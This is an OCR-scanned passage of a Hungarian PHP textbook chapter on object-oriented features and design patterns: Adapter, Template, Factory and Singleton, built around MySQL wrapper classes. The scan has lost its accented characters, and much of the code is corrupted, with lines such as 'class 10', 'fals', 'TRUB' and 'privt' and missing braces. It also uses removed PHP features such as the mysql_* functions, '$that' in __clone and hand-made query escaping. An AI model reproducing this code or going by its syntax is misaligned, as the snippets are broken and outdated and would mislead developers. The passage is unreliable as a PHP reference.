A PHP-ben a tagfggvnyeket s tulajdonsgokat statikusknt is bevezethetjk. A statikus tagfggvnyek egy osztlyhoz ktdnek, nem pedig annak egy pldnyhoz (vagyis egy objektumhoz), ezrt osztlymetdusoknak is nevezik ket. Meghvsuk az OsztlyNv: : tagfggvny() formban trtnik. A statikus tagfggvnyekben a $this nem rhet el. A statikus tulajdonsgok (osztlytulajdonsgok) az osztlyhoz, s nem annak egy pldnyhoz kapcsold osztlyvltozk. Ez azt jelenti, hogy mdostsuk hatssal van az osztly valamennyi pldnyra. A statikus tulajdonsgokat a static kulcsszval vezetjk be, s az OsztlyNv: : $ tulaj'donsg formban rjk el. Az albbi pldbl kiderl, hogyan is mkdnek: class TestClass { public static $counter;
}

$counter = TestClass::$counter; Ha egy statikus tulajdonsghoz egy osztlyon bell kell hozzfrnnk, a self s a parent varzsszavakat is hasznlhatjuk, amelyek az aktulis osztlyra, illetve annak szljre mutatnak. Alkalmazsukkal elkerlhet, hogy kifejezetten, nv szerint kelljen hivatkoznunk az osztlyra. Az albbiakban egy egyszer pldt mutatunk be, amely egy statikus tulajdonsg segtsgvel rendel egy egsz szmbl ll egyedi azonostt (ID) az osztly minden pldnyhoz: class TestClass { public static $counter = 0; public $id; public function______ construct ()
{

$this->id = self::$counter++; } }

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

39

Klnleges tagfggvnyek
A PHP osztlyai bizonyos tagfggvnyneveket klnleges visszahvhat (callback) fggvnyek szmra tartanak fenn, amelyek bizonyos esemnyeket kezelnek. Mr ismerjk a___construct () -ot, amelynek hvsra az objektumok pldnyostsakor automatikusan sor kerl. Az osztlyok ezen kvl t tovbbi ilyen fggvnyt hasznlnak. A_____ get (), a___set () s a_____call () az osztlytulajdonsgok s -metdusok hvsnak mdjt szablyozzk; velk a fejezetben ksbb foglalkozunk. A msik kt fggvny a__ destruct () s a______ clone (). A__ destruct () az objektumok megsemmistsrt felels visszahvhat fggvny. A destruktorok (megsemmist fggvnyek) az osztlyok ltal hasznlt erforrsok (pldul fjllerk vagy adatbzis-kapcsolatok) felszabadtsra hasznlatosak. A PHP a vltozk esetben hivatkozsszmllst alkalmaz. Amikor a szmll rtke nullra esik, a szemtgyjt eltvoltja a vltozt a rendszerbl. Ha az adott vltoz egy objektum, annak __ destruct () tagfggvnye hvdik meg. Az albbi kismret burkol, amely a PHP fjlkezel segdprogramjait csomagolja be, bemutatja a destruktorok mkdst:
class 10 { public $fh = fals; public function __ construct($filename, $flags) $this->fh = fopen($filename, $flags); } public function __ destruct() { if($this->fh) { fclose($this->fh); } } public function read($length) { if($this->fh) { return fread($this->fh, $length); } } /* ... */ }

Destruktor ltrehozsa a legtbb esetben nem szksges, mert a PHP a krelmek vgn felszabadtja az erforrsokat. A hossz ideig fut vagy nagy szm llomnyt megnyit programok esetben az aggresszv takarts elengedhetetlen.

40

PHP fejleszts felsfokon

A PHP4-ben valamennyi objektum rtk szerint addik t. Tegyk fel pldul, hogy a PHP4-ben az albbi kdot hajtjuk vgre: $obj = new TestClass; $copy = $obj; Az rtk szerinti tads azt jelenti, hogy ebben az esetben hrom pldnyt ksztnk az osztlybl: egyet a konstruktorban, egyet a konstruktr visszatrsi rtknek a $obj-hez val rendelsekor, s egyet akkor, amikor a $obj-t a $copy-hoz rendeljk. Vagyis a jelents teljesen ms, mint a tbbi objektumkzpont nyelvben - ezrt a PHP5 meg is vltoztatta. A PHP5-ben az objektumok ltrehozsakor egy lert (handl) kapunk az objektumhoz, ami fogalmilag megegyezik a C++ hivatkozsaival (reference). Ha a fenti kdot a PHP5ben hajtjuk vgre, az objektumbl csak egy pldny keletkezik, msolatok nem. Ha egy objektumot tnylegesen msolni szeretnnk a PHP5-ben, a beptett_______ clone () tagfggvnyt kell hasznlnunk. Ahhoz, hogy a fenti pldban szerepl $copy valban a $obj msolata legyen (nem pedig csak hivatkozs az egyetlen ltez objektumra), a kvetkezt kell tennnk: $obj = new TestClass; $copy = $obj->___ clone (); Egyes osztlyok esetben a mlymsolst vgz beptett_____ clone () tagfggvny nem biztos, hogy megfelel a cljainknak, ezrt a PHP megengedi annak fellbrlst. A__ clone () metdusban nem csak a $this hivatkozst talljuk, ami az j objektumot jelli, hanem a $that-et is, ami az eredetire mutat. Ha a fejezetben korbban meghatrozott TestClass osztlyban az alaprtelmezett______ clone () tagfggvnyt hasznlnnk, az azonost (az id tulajdonsg) is lemsoldna, ezrt inkbb rjuk t az osztlyt, valahogy gy: class TestClass { public static $counter = 0; public $id; public $other; public
{

function _____construct()

$this->id = self::$counter++; } public function __ clone() { $this->other = $that->other; $this->id = self::$counter++; } }

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

41

Rvid bevezets a tervezsi mintk hasznlatba


Valsznleg hallottunk mr a tervezsi mintkrl, de lehet hogy nem vagyunk tisztban mibenltkkel. A tervezsi mintk olyan feladatokra nyjtanak ltalnos megoldsokat, amelyekkel a szoftverfejlesztk gyakran tallkoznak. Ha mr j ideje programozunk, valsznleg szksg volt mr r, hogy egy knyvtrat kpess tegynk arra, hogy egy msik API-n keresztl elrhet legyen. Ezzel nem vagyunk egyedl: az emltett problma ltalnos, s br nincs minden hasonl gondra ltalnos rvny megolds, voltak, akik felismertk, hogy visszatr problmval llunk szemben s a megoldsi mdszerek is ismtldnek. A tervezsi mintk alaptlete, hogy a problmk s megoldsaik ismtld smkat kvetnek. A tervezsi mintk jelentsgt sajnos gyakran elfedi a tlzott reklmozs. n vekig mellztem ket anlkl, hogy tnylegesen megvizsgltam volna, mire jk. Feladataim egyedinek s sszetettnek tntek - gy gondoltam, nem vehetk egy kalap al az ltalnos problmkkal. Ez igen rvidlt hozzllsnak bizonyult. A tervezsi mintk a problmk azonostsra s besorolsra adnak szkincset. Az egyiptomi mitolgiban az isteneknek s ms hasonl lnyeknek titkos neveik voltak, s ha ismertk ezeket, megidzhettk hatalmukat. A tervezsi mintk nagyon hasonlak: ha felfedjk egy problma lnyegt s sszevetjk hasonl (s megoldott) problmk egy ismert halmazval, mris kzel kerlnk a megoldshoz. Termszetesen nem llthatjuk, hogy a tervezsi mintkrl egyetlen fejezetben teljes kpet lehet nyjtani. Itt csak nhny mintt tekintnk t, fknt abbl a clbl, hogy a PHP-ben elrhet halad szint OO megoldsokat bemutassuk.

Az Illeszt minta
Az Illeszt (Adapter, Adaptor minta) clja, hogy egy objektumhoz egy adott felleten keresztl biztostsunk hozzfrst. Egy tisztn objektumkzpont nyelvben az Illeszt mintval egy objektumhoz nyjtunk alternatv API-t, a PHP-ben viszont legtbbszr eljrsok egy halmazhoz. Annak a kpessgnek a biztostsa, hogy egy osztlyhoz egy adott API-n keresztl frhetnk hozz, kt okbl lehet hasznos: Ha tbb, azonos szolgltatsokat nyjt osztly ugyanazt az API-t valstja meg, futs kzben vlthatunk kzttk. Ezt hvjk tbbalaksgnak (polimorfizmusnak; a sz latin eredet: a poli jelentse sok, tbb", a morf pedig alak, forma"). Egy objektumok halmazn mveleteket vgz, elre elksztett keretrendszer mdostsa nehz lehet. Ha olyan, msok ltal ksztett osztlyt kvnunk bepteni, amely nem felel meg a keretrendszer ltal hasznlt felletnek, a legegyszerbben az Illeszt minta alkalmazsval biztosthatjuk az elvrt API-n keresztli hozzfrst.

42

PHP fejleszts felsfokon

Az illesztket a PHP-ben leggyakrabban nem egy osztly elrst egy msikon keresztl biztost alternatv fellet nyjtsra hasznljuk, mert a kereskedelmi PHP kdok szma korltozott, a nylt kdok fellett pedig kzvetlenl mdosthatjuk. A PHP eljrskzpont gykerekkel rendelkez nyelv: a legtbb beptett PHP-fggvny ilyen jelleg. Amikor fggvnyeket sorban (szekvencilisan) kell elrnnk (pldul ha egy adatbzis-lekrdezst ksztnk, sorban a mysql_pconnect (), mysql_select_db (), mysql_query () s mysql_f etch () hvssa lehet szksg), ltalban egy erforrsban gyjtjk ssze a kapcsolati adatokat, s ezt adjuk t valamennyi fggvnynek. Ha a teljes folyamatot egy osztlyba csomagoljuk, az ismtld munka jelents rszt, illetve a szksges hibakezelst elrejthetjk. Az alaptlet az, hogy a kt f MySQL bvtmny-erforrst (a kapcsolatot s az eredmnyt) egy objektumfellettel burkoljuk be. A cl nem egy igazi elvont brzols, csupn elegend burkol kd biztostsa az sszes MySQL bvtmnyfggvny objektumkzpont elrshez, hogy knyelmesebben tudjunk dolgozni. me az els ksrletnk a burkol osztlyra: class DB_Mysql { protected $user; protected $pass; protected $dbhost; protected $dbname; protected $dbh;

// adatbzis-kapcsolati ler {

public function______ construct($user, $pass, $dbhost, $dbname) $this->user = $user; $this->pass = $pass; $this->dbhost = $dbhost; $this->dbname = $dbname;
}

protected function connectO { $this->dbh = mysql_pconnect($this->dbhost, $this->user, $this->pass) ; if(!is_resource($this->dbh)) { throw new Exception;
}

if(imysql_select_db($this->dbname, $this->dbh)) { throw new Exception; } } public function execute($query) { if ( !$this->dbh) { $this->connect() ; } $ret = mysql_query($query, $this->dbh); if(!$ret) {

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

43

throw new Exception;


}

else if(!is_resource($ret) ) { return TRUB; } else { $stmt = new DB_MysqlStatement($this->dbh, $query); $stmt->result = $ret; return $stmt;
} } }

A fenti fellet hasznlathoz csak ltre kell hoznunk egy j DB_Mysql objektumot s pldnyostani az elrni kvnt MySQL adatbzisba val belpshez szksges adatokkal (felhasznli nv, jelsz, gpnv, adatbzis neve): $dbh = new DB_Mysql("testuser", "testpass", "localhost", $query = "SELECT * FROM users WHERE name = * '".mysql_escape_string($name)."'"; $stmt = $dbh->execute($query); "t est db");

Ez a kd egy DB_MysqlStatement objektumot ad vissza, ami egy burkol, amelynek megvalstst a MySQL visszatrsi rtk erforrs kr ptjk: class DB_MysqlStatement { protected $result; public $query; protected $dbh; public function______ construct($dbh, $query) { $this->query = $query; $this->dbh = $dbh; if ( !is_resource($dbh)) { throw new Exception("Not a valid database connection") ;
} }

public function fetch_row() { if ( !$this->result) { throw new Exception("Query not executed");


}

return mysql_fetch_row($this->result); } public function fetch_assoc() { return mysql_fetch_assoc($this->result); } public function fetchall_assoc() { $retval = array();

44

PHP fejleszts felsfokon

while($row = $this->fetch_assoc()) $retval[] = $row;


}

return $retval;
} }

Ezutn ahhoz, hogy a lekrdezsbl a mysql_f etch_assoc () -hoz hasonlan sorokat - nyerjnk ki, ezt kell rnunk: while($row = $stmt->fetch_assoc()) // sor feldolgozsa
}

A fenti megvalstssal kapcsolatban a kvetkezket kell megjegyeznnk: Segtsgvel elkerlhet, hogy magunknak kelljen meghvnunk a connect () s mysql_select_db () fggvnyeket. Hiba esetn kivtelt vlt ki. A kivtelek jdonsgnak szmtanak a PHP5-ben. Itt nem rszletezzk ket, vagyis egyelre nyugodtan figyelmen kvl hagyhatk, de a 3. fejezet msodik felt ennek a tmnak szenteljk majd. Nem tette knyelmesebb a munkt. Mg mindig ssze kell fznnk az adatokat, ami igen zavar, s a lekrdezsek jrahasznostsra sincs egyszer md. A harmadik pontban emltett problma gy oldhat meg, ha kibvtjk a felletet, hogy a burkol kpes legyen automatikusan sszefzni a neki tadott adatokat. Ezt legegyszerbben gy rhetjk el, ha utnozzuk az elksztett lekrdezseket. Amikor egy lekrdezst futtatunk egy adatbzison, az tadott nyers SQL-t olyan formra kell hozni, amit az adatbzis megrt. Ez a lps jelents terhet r a programra, ezrt a legtbb adatbzisrendszer megprblja tmenetileg trolni az eredmnyeket. A felhasznl elkszthet egy lekrdezst, aminek nyomn az adatbzis feldolgozza azt, s visszaad valamilyen erforrst, ami a feldolgozott lekrdezs-brzolshoz kapcsoldik. Ezzel gyakran jr egytt a bind SQL szolgltats. A bind SQL lehetv teszi, hogy feldolgozzunk egy olyan lekrdezst, amelyben a vltoz adatok helyn helyrzk llnak. Ezutn hozzkthetjk (bind) a paramtereket a lekrdezs feldolgozott vltozathoz a vgrehajts eltt. A bind SQL hasznlata szmos adatbzis-rendszeren (klnsen az Oracle rendszeren) jelents teljestmnynvekedst eredmnyez. A MySQL 4.1 eltti vltozatai nem biztostanak kln felletet a felhasznlknak a vgrehajts eltti lekrdezs-elksztsre, s nem engedik meg a bind SQL hasznlatt. Szmunkra azonban az a pont, ahol egyenknt tadjuk a folyamatnak a vltoz adatokat, knyelmes arra, hogy elfogjuk s sszefzzk ket, mieltt a lekrdezsbe illesztennk. A MySQL 4.1 j szolgltatsnak fellett Georg Richter mysqli bvtmnye biztostja.

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

45

Mdostanunk kell a DB_Mysql-t, hogy tartalmazza a prepare (elkszt) tagfggvnyt, a DB_MysqlStatement-et pedig ki kell egsztennk a bind s execute (vgrehajt) tagfggvnyekkel: class DB_Mysql { /* ... */ public function prepare($query) if(!$this->dbh) { $this->connect();
}

return new DB_MysqlStatement($this->dbh,


} }

$query);

class DB_MysqlStatement { public $result; public $binds; public $query; public $dbh; /* ... */ public function execute() { $binds = func_get_args(); foreach($binds as $index => $name) { $this->binds[$index + 1] = $name;
}

$cnt = count($binds); $query = $this->query; foreach ($this->binds as $ph => $pv) { $query = str_replace(":$ph", * * ....... .mysql_escape_string ( $pv) . " ' " ,
}

$query) ;

$this->result = mysql_query($query, if(!$this->result) { throw new MysqlException;


}

$this->dbh);

return $this;
}

/* ... */
}

Itt a prepare () szinte semmit nem csinl, csak kszt egy j DB_MysqlStatement objektumpldnyt a megadott lekrdezssel. A tnyleges munkt a DB_MysqlStatement-ben vgezzk el. Ha nincsenek kapcsolt paramtereink, csak egy ilyen hvsra van szksg: $dbh = new DB_Mysql("testuser", "testpass", "localhost", "t est db"); $stmt = $dbh->prepare("SELECT * FROM users WHERE name = '".mysql_escape_string($name)."'"); $stmt->execute () ;

46

PHP fejleszts felsfokon

A burkol osztly hasznlatnak igazi elnye a natv eljrshvsokkal szemben akkor mutatkozik meg, amikor paramtereket kvnunk kapcsolni a lekrdezshez. Ehhez helyrzket kell tennnk a lekrdezsbe, amelyeket a : jel vezet be; vgrehajtskor ide kapcsolhatjuk az adatokat: $dbh = new DB_Mysql("testuser", "testpass", "localhost", " t e s t d b " ) ; $stmt = $dbh->prepare("SELECT * FROM users WHERE name = :1"); $stmt->execute($name); A : 1 a lekrdezsben azt jelenti, hogy ez az els kapcsolt vltoz helye. Amikor meghvjuk a $stmt objektum execute () tagfggvnyt, az feldolgozza a neki tadott adatokat, az els kapcsolt vltoz rtkl az elsnek kapott argumentumot ($name) adja, sorostja s idzjelbe teszi, majd behelyettesti az els helyrz (: 1) helyre. Br ez a kapcsol fellet nem rendelkezik a bind felletek szoksos teljestmnynvel hatsval, knyelmes mdot ad a lekrdezs bemen adatainak soros sszefzsre.

A Sablon minta
A Sablon minta (Template) egy olyan osztlyt r le, amely mdostja egy szrmaztatott osztly logikjt, hogy teljesebb tegye. Ezt a mintt arra hasznlhatjuk, hogy az sosztlyokban szerepl valamennyi adatbziskapcsolathoz szksges paramtert elrejtsk magunk ell. Az elz rszben ltott osztly hasznlathoz mindig meg kell adnunk a kapcsolathoz szksges paramtereket: <?php require_once

'DB.inc';

define('DB_MYSQL_PROD_USER', 'test'); define('DB_MYSQL_PROD_PASS', 'test'); define('DB_MYSQL_PROD_DBHOST', 'localhost'); define('DB_MYSQL_PROD_DBNAME', ' test ' ); $dbh = new DB::Mysql(DB_MYSQL_PROD_USER, DB_MYSQL_PROD_PASS, DB_MYSQL_PROD_DBHOST, DB_MYSQL_PROD_DBNAME); $stmt = $dbh->execute("SELECT n o w ( ) " ) ; print_r($stmt->fetch_row()); ?> Ahhoz, hogy ezt ne kelljen minden alkalommal megtennnk, szrmaztathatunk egy osztlyt a DB_Mysql-bl, s mereven belekdolhatjuk a test adatbzis paramtereit: class DB_Mysql_Test extends DB_Mysql { protected $user = "testuser"; protected $pass = "testpass";

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

47

protected $dbhost = "localhost"; protected $dbname = "test"; public function __ construct() { } }

Ugyanezt megtehetjk az zemi kiszolgln mkd pldny esetben is: class DB_Mysql_Prod extends DB_Mysql { protected $user = "produser"; protected $pass = "prodpass"; protected $dbhost = "prod.db.example.com"; protected $dbname = "prod";
public function___ construct() { } }

Tbbalaksg
A fejezetben kidolgozott adatbzis-burkolk meglehetsen ltalnosak. Valjban ha megnzzk a PHP-be beptett adatbzis-bvtmnyeket, mindben ugyanazokat a szolgltatsokat talljuk - csatlakozs egy adatbzishoz, lekrdezsek elksztse s vgrehajtsa, az eredmnyek megjelentse. Ha akarnnk, rhatnnk egy hasonl DB_Pgsql vagy DB_Oracle osztlyt, amelyek a PostgreSQL s az Oracle knyvtrakat burkoljk be, s alapveten ugyanazok a tagfggvnyek szerepelnnek bennk. Ha nagyrszt ugyanazokkal a tagfggvnyekkel rendelkeznk, ltszlag nem nyernk semmit, mgis fontos a hasonl feladatot vgrehajt metdusoknak ugyanazt a nevet adni. Ez ugyanis lehetv teszi a tbbalaksgot, ami annak a kpessge, hogy szrevtlenl kicserljnk egy objektumot egy msikra, ha elrsi felletk megegyezik. A gyakorlatban a tbbalaksg azt jelenti, hogy ehhez hasonl fggvnyeket rhatunk: function show_entry($entry_id,
{

$dbh)

$query = "SELECT * FROM Entries WHERE entry_id = :1"; $stmt = $dbh->prepare($query)->execute($entry_id); $entry = $stmt->fetch_row(); // bejegyzs megjelentse
}

Ez a fggvny nem csak akkor mkdik, ha a $dbh egy DB_Mysql objektum, hanem mindaddig, amg a $dbh megvalstja a prepare () tagfggvnyt, s az egy olyan objektumot ad vissza, ami megvalstja az execute () s f etch_assoc () metdusokat.

48

PHP fejleszts felsfokon

Ahhoz, hogy elkerljk, hogy minden meghvott fggvnynek t kelljen adnunk egy adatbzis objektumot, kpviseletet (delegcit) alkalmazhatunk. A kpviselet objektumkzpont fogalom, s azt jelenti, hogy egy objektum tulajdonsgknt egy msik objektummal rendelkezik, amelyet bizonyos feladatok vgrehajtsra hasznl. Az adatbzis-burkol knyvtrak tkletes pldi a kpvisel (vagy megbzott) osztlynak. Egy szokvnyos alkalmazsban szmos osztly vgez adatbzis-mveleteket, s ezen osztlyokkal kapcsolatban kt vlasztsi lehetsgnk van: Valamennyi adatbzis-hvst natv mdon valstjuk meg - aminek semmi rtelme, mert feleslegess teszi az adatbzis-burkol elksztsbe fektetett munkt. Az adatbzis-burkol API-t hasznljuk, de menet kzben pldnyostjuk az objektumokat. Lssunk erre a megoldsra egy pldt: class Weblog { public function show_entry($entry_id) { $query = "SELECT * FROM Entries WHERE entry_id = :1"; $dbh = new Mysql_Weblog(); $stmt = $dbh->prepare($query)->execute($entry_id); $entry = $stmt->fetch_row(); // bejegyzs megjelentse
} }

A felsznen az adatbzis-kapcsolati objektumok menet kzbeni pldnyostsa j tletnek tnik - a burkol knyvtrat hasznljuk, teht minden rendben. A gond csak az, hogy ha meg kell vltoztatnunk az osztly ltal hasznlt adatbzist, mdostanunk kell minden fggvnyt, amelyben kapcsolat ltesl. A Weblog osztlyhoz tulajdonsgknt egy adatbzis-burkol objektumot adva kpviseletet valstunk meg. Amikor az osztlyt pldnyostjuk, az ltrehoz egy adatbzis-burkol objektumot, s azt hasznlja valamennyi kimeneti-bemeneti (I/O) mveletre, me a Weblog j megvalstsa, ami ezt a megoldst alkalmazza: class Weblog { protected $dbh; public function setDB($dbh)
{

$this->dbh = $dbh;
}

public function show_entry($entry_id)


{

$query = "SELECT * FROM Entries WHERE entry_id = :1"; $stmt = $this->dbh->prepare($query)->execute($entry_id) ; $entry = $stmt->fetch_row(); // bejegyzs megjelentse } }

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

49

Az adatbzist most mr bellthatjuk az objektum szmra, mgpedig a kvetkezkppen: $blog = new Weblog; $dbh = new Mysql_Weblog; $blog->setDB($dbh) ; Termszetesen a Sablon mintt kvetve alkalmazhatunk egy sablont is az adatbzis-kpvisel belltsra: class Weblog_Std extends Weblog { protected $dbh; public function ______construct()
{

$this->dbh = new Mysql_Weblog;


} }

$blog = new Weblog_Std; A kpviselet minden olyan esetben hasznos, amikor egy bonyolult vagy egy osztlyon bell valsznleg vltoz szolgltatst kell biztostanunk. Emellett gyakran alkalmaznak kpviseletet az olyan osztlyokban is, amelyeknek kimenetet kell ellltaniuk. Ha a kimenet tbbfle mdon (HTML, sima szveg, RSS - ez utbbi jelentse a vlaszad szemlytl fggen Rich Site Summary vagy Really Simple Syndication) is megjelenthet, rdemes lehet bejegyezni egy kpviselt, amely kpes a kvnt kimenetet ellltani. Felletek s tpusjelzsek A sikeres kpviselet kulcsa, hogy biztostsuk a szksges osztlyok tbbalaksgt. Ha a Weblog objektum szmra $dbh paramterknt olyan osztlyt adunk meg, amely nem valstja meg a f etch_row () mveletet, futsidben vgzetes hiba lp fel. A futsidej hibk szlelse meglehetsen nehz, hacsak nem gondoskodunk rla magunk, hogy valamennyi objektum megvalstsa az sszes szksges fggvnyt. Az ilyen jelleg hibk mg idben trtn elfogst segtend a PHP5 bevezette a felletek (interfszek) fogalmt, h fellet olyan, mint egy osztly csontvza. Akrhny tagfggvnyt megadhat, de kdot nem mellkel hozzjuk, csak egy prototpust, pldul a fggvny argumentumait. Nzzk meg, hogyan fest egy alapvet fellet (interf ace), ami lerja az adatbzis-kapcsolatokhoz szksges tagfggvnyeket: interface DB_Connection { public function execute($query); public function prepare($query);
}

50

PHP fejleszts felsfokon

Mg az rklsnl bvtnk egy osztlyt, fellet hasznlatnl - mivel nincs meghatrozott kd - egyszeren beleegyeznk", hogy gy s azokat a fggvnyeket valstjuk meg, amelyeket a fellet megad. A DB_Mysql pldul a DB_Connection ltal megadott fggvny-prototpusokhoz nyjt megvalstst, ezrt gy vezethetjk be: class DB_Mysql implements DB_Connection { /* osztly-meghatrozs */
}

Ha egy osztlyt gy vezetnk be, mintha egy felletet valstana meg, pedig nem ez a helyzet, fordtsi idej hibt kapunk. Tegyk fel pldul, hogy ltrehozunk egy DB_Foo nev osztlyt, amely egyetlen tagfggvnyt sem valst meg:
<?php require "DB/Connection.inc"; class DB_Foo implements DB_Connection {} ?>

Az osztly futtatsa a kvetkez hibt eredmnyezi: Fatl error: Class db_foo contains 2 abstract methods and must be declared abstract (db connection::execute, db connection:: prepare) in /Users/george/Advanced PHP/examples/chapter-2/14.php on line 3 A PHP nem tmogatja a tbbszrs rklst, vagyis egy osztly nem szrmazhat kzvetlenl tbb osztlytl. Az albbi pldul nyelvtanilag helytelen: class A extends B, C {} Mindazonltal - mivel a felletek csak egy prototpust rnak le, nem pedig egy megvalstst - egy osztly tetszleges szm felletet valsthat meg. Ez azt jelenti, hogy ha van egy A s egy B felletnk, egy C osztly mindketthz nyjthat megvalstst, valahogy gy: <?php interface A { public function abba();
}

interface B { public function bar(); }

2. fejezet * Objektumkzpont programozs tervezsi mintk segtsgvel

51

class C implements A, B { public function abba() { // abba; } public function bar () < // bar; } } ?>

A felletek s osztlyok kztt egyfajta kztes szintet kpviselnek az elvont osztlyok (absztrakt osztlyok). Az elvont osztly tartalmazhat mind kidolgozott tagfggvnyeket (amelyeket rkl), mind elvont tagfggvnyeket (amelyeket a leszrmaztatottaknak kell meghatrozniuk). A kvetkez pldban egy A elvont osztlyt lthatunk, ami teljes megvalstst nyjt az abba () tagfggvnyhez, de a bar () -t elvontknt hatrozza meg: abstract class A { public function abba()
{

// abba
}

abstract public function bar();


}

Mivel a bar () nincs teljesen kifejtve, nem pldnyosthat. Szrmaztatni viszont lehet belle, s amg a leszrmazott osztly A valamennyi elvont tagfggvnyt megvalstja, kszthet belle pldny. B kibvti (extends) A-t s megvalstja a bar () -t, vagyis a pldnyosts gond nlkl vgrehajthat: class B extends A { public function bar()
{

$this->abba();
} }

$b = new B; Miutn az elvont osztlyok egyes tagfggvnyeikhez tnyleges megvalstst nyjtanak, az rkls szempontjbl osztlyoknak szmtanak. Ez azt jelenti, hogy egy osztly csak egyetlen elvont osztlyt bvthet. A felletek segtenek abban, nehogy lbon ljk magunkat, amikor tbbalaknak sznt osztlyokat vezetnk be, de a kpviseleti hibkat csak rszben tudjk megakadlyozni.

52

PHP fejleszts felsfokon

Arra is kpesnek kell lennnk, hogy biztostsuk, hogy azok a fggvnyek, amelyek egy adott fellet megvalstshoz egy bizonyos objektumot vrnak, meg is kapjk azt. Az ehhez szksges szmtst persze elvgezhetjk kzvetlenl a kdban, kzi mdszerrel", az is_a () fggvnnyel ellenrizve az objektumok osztlyt: function addDB($dbh)
{

if(!is_a($dbh, "DB_Connection")) { trigger_error("\$dbh is not a DB_Connection object", E_USER_ERROR);


}

$this->dbh = $dbh;
}

Ennek a mdszernek kt htultje van: Ahhoz kpest, hogy csak egy tadott paramter tpust szeretnnk ellenrizni, igen hossz kdot ignyel. Nem rsze a fggvny prototpus-deklarcijnak, vagyis egy adott felletet megvalst osztlyban nem knyszerthetnk ki ilyen paramterellenrzst. A PHP5 ezeket a hinyossgokat azzal orvosolta, hogy bevezette a tpusellenrzs, illetve tpusjelzs (type hinting) lehetsgt a fggvnydeklarcikban s a prototpusokban. Ha a szolgltatst be szeretnnk kapcsolni egy fggvny esetben, a kvetkezkppen kell bevezetnnk: function addDB(DB_Connection $dbh) { $this->dbh = $dbh; } Ez a fggvny pontosan ugyangy viselkedik, mint amit az elz pldban lthattunk vagyis vgzetes hibt vlt ki, ha a $dbh nem a DB_Connection osztly pldnya (akr kzvetlenl, akr rklssel vagy fellet-megvalstssal).

A Gyr minta
A Gyr minta (Factory) szabvnyos mdszert biztost az osztlyok szmra, hogy ms osztlyba tartoz objektumokat hozzanak ltre. Erre jellemzen akkor van szksg, amikor egy olyan fggvnnyel rendelkeznk, amelynek a bemen paramterektl fggen klnbz osztly objektumokat kell visszaadnia.

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

53

Amikor szolgltatsokat egy msik adatbzisra visznk t, az egyik legnagyobb kihvst az jelenti, hogy megtalljuk mindazon helyeket, ahol a rgi burkol objektumot hasznljuk, illetve biztostsuk az jat. Tegyk fel pldul, hogy egy jelentskszt adatbzissal rendelkeznk, ami egy Oracle adatbzisra tmaszkodik, amit kizrlag a DB_Oracle_Reporting nev osztlyon keresztl rnk el: class DB_Oracle_Reporting extends DB_Oracle { /* ... */}

Mivel elreltak voltunk, a DB_Oracle a szabvnyos adatbzis-felletnket hasznlja: class DB_Oracle implements DB_Connection { /* . . . */ } Amikor csak a jelentskszt adatbzis elrsre van szksg, ilyen burkolpldnyokkal rendelkeznk az alkalmazs kdjban elszrva: $dbh = new DB_Oracle_Reporting; Ha azt szeretnnk, hogy az adatbzis az j DB_Mysql_Reporting burkolt hasznlja, meg kell keresnnk minden helyet, ahol a rgi burkolt hasznljuk, s a kvetkezkppen kell mdostanunk: $dbh = new DB_Mysql_Reporting; Ennl rugalmasabb megkzelts, ha valamennyi adatbzis objektumot egyetlen gyrral hozzuk ltre. A gyr valahogy gy nzhet ki: function DB_Connection_Factory($key)
{

switch($key) { case "Test" : return new DB_Mysql_Test; case "Prod": return new DB_Mysql_Prod; case "Weblog": return new DB_Pgsql_Weblog; case "Reporting": return new DB_Oracle_Reporting; default: return fals;
} }

54

PHP fejleszts felsfokon

Ahelyett, hogy az objektumokat a new segtsgvel pldnyostannk, az albbi kdot hasznlhatjuk erre a clra:
$dbh = DB_Connection_factory("Reporting");

Ha ezutn globlisan meg szeretnnk vltoztatni a kapcsolatok megvalstst a jelentskszt fellettel, csak a gyrat kell mdostanunk.

Az Egyke minta
A PHP4 objektummodelljnek leginkbb kritizlt tulajdonsga, hogy nagyon megnehezti az egykk megvalstst. Az Egyke minta (Singleton) egy olyan osztlyt r le, amelynek csak egyetlen globlis pldnya van. Az egykk szmos helyen bizonyulnak termszetes vlasztsnak. A bngsz felhasznlkhoz csak egyetlen stihalmaz s egyetlen profil tartozik. Ehhez hasonlan, egy HTTP krelmeket (fejlccel, vlaszkddal stb.) beburkol osztly krelmenknt csak egy pldnnyal rendelkezik. Ha olyan adatbzis-illesztprogramot hasznlunk, amely nem tmogatja a kapcsolatok megosztst, szintn felmerlhet egy egyke hasznlata, amellyel biztosthatjuk, hogy egy adatbzishoz egyszerre csak egy kapcsolat legyen megnyitva. A PHP5-ben szmos mdja van az egykk megvalstsnak. Megtehetjk, hogy egy objektum valamennyi tulajdonsgt egyszeren static-knt vezetjk be, de gy igen furcsa kdokat kell rnunk az objektum kezelsre, s tnylegesen soha nem hasznlunk pldnyt az objektumbl. me egy egyszer osztly, amely az Egyke mintt kveti:
<?php class Singleton { static $property; public function __ construct() {} } Singleton::$property = "foo"; ?>

Mivel itt tnylegesen soha nem hozunk ltre pldnyt a Singleton osztlybl, nem adhatjuk t fggvnyeknek. Az egyik j megolds az egykk megvalstsra a PHP5-ben egy egykt ltrehoz gyrtfggvny (gyrt metdus) hasznlata. A gyrtfggvny privt hivatkozst tart fenn az osztly eredeti pldnyra, s krs esetn visszaadja. Lssunk egy pldt a Gyr mintra. A getlnstance () egy gyrtfggvny, amely a Singleton osztly egyetlen pldnyt adja vissza:
class Singleton { privt static $instance = fals; public $property;

2. fejezet * Objektumkzpont programozs tervezsi mintk segtsgvel

55

privt function ______construct() {} public static function getlnstance()


{

if (self::$instance === fals) { self::$instance = new Singleton;


}

return self::$instance;
} }

